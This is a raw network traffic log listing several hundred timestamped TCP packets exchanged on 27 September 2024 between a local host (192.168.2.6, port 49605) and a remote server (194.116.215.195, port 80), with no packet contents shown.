Sep 27, 2024 16:18:09.883287907 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883310080 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883652925 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883667946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883682013 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883696079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883706093 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883709908 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883721113 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883753061 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883949041 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883964062 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883997917 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884021997 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884110928 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884124994 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884140015 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884152889 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884164095 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884164095 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884167910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884180069 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884183884 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884197950 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884200096 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884213924 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884227037 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884228945 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884242058 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884254932 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884255886 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.884283066 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.884301901 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885015011 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885030031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885042906 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885056019 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885063887 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885071993 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885081053 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885087967 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885107040 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885126114 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885154963 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885169983 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885184050 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885198116 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885201931 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885210991 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885212898 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.885231972 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.885251045 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886018991 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886034012 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886056900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886068106 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886071920 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886081934 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886086941 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886101961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886115074 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886121988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886121988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886130095 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886145115 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886153936 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886158943 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886161089 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886174917 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886188984 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886189938 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886204004 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886208057 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886219025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886223078 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886249065 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886276960 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886888981 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886905909 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886919975 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886933088 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886939049 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886948109 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886957884 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886962891 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886970043 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.886977911 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.886992931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887000084 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887006998 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887021065 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887022018 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887037039 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887047052 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887051105 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887065887 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887073040 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887092113 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887113094 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887749910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887764931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887778997 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887792110 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887798071 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887806892 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887819052 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887823105 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887836933 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887845039 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887859106 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887862921 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887872934 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887887955 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887891054 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887902975 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887909889 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887917995 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887932062 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.887934923 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887953997 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.887976885 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888814926 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888832092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888843060 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888854027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888864040 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888869047 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888875961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888886929 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888895988 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888895988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888909101 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888914108 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888921022 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888931036 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888935089 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888941050 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888952017 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888952017 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888962984 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.888967991 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.888997078 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.889504910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.889518023 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.889527082 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.889539003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.889549017 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.889555931 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.889559984 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.889566898 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.889597893 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969403982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969440937 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969475031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969495058 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969527960 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969527960 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969721079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969753027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969772100 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969785929 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969794989 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969820976 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969825983 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969856024 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969865084 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969886065 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969899893 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969918966 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969927073 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969952106 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969961882 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.969985962 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.969995022 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970033884 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970036983 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970069885 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970079899 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970103025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970110893 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970135927 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970144987 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970169067 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970184088 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970201015 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970216036 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970233917 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970242977 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970272064 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970282078 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970316887 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970487118 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970519066 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970541954 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970551014 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970562935 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970585108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970598936 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970618010 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970629930 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970650911 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970664024 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970689058 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970701933 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970736027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970750093 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970781088 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.970942020 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970973969 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.970990896 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971005917 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971015930 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971040010 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971046925 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971084118 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971090078 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971123934 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971137047 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971155882 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971163988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971189022 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971198082 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971223116 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971229076 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971263885 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971601009 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971632957 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971647024 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971666098 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971672058 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971698999 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971704960 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971730947 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971740007 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971764088 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971776962 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971796989 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971807003 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971831083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971841097 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971864939 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971877098 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971898079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971906900 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971930027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971939087 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971963882 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.971972942 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.971997023 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972004890 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972028971 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972038031 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972071886 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972342014 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972376108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972398996 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972407103 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972421885 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972448111 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972516060 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972548008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972565889 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972580910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972589016 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972613096 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972624063 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972645998 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972656012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972680092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972697973 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972714901 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972731113 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972747087 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972754955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972779036 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972790003 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972806931 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972811937 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972846031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.972855091 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.972888947 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973325968 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973359108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973377943 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973391056 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973400116 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973426104 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973439932 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973459959 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973473072 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973494053 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973501921 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973526001 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973537922 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973560095 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973568916 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973592997 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973598957 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973624945 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973643064 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973659039 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973668098 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973691940 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973700047 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973726034 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973736048 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973757029 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973774910 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973792076 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.973818064 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.973826885 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974272013 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974303961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974322081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974338055 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974369049 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974370003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974397898 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974404097 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974410057 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974437952 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974447012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974471092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974504948 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974514008 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974514008 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974622965 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974632978 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974658012 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974668980 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974690914 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.974700928 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.974725962 CEST	80	49605	194.116.215.195	192.168.2.6
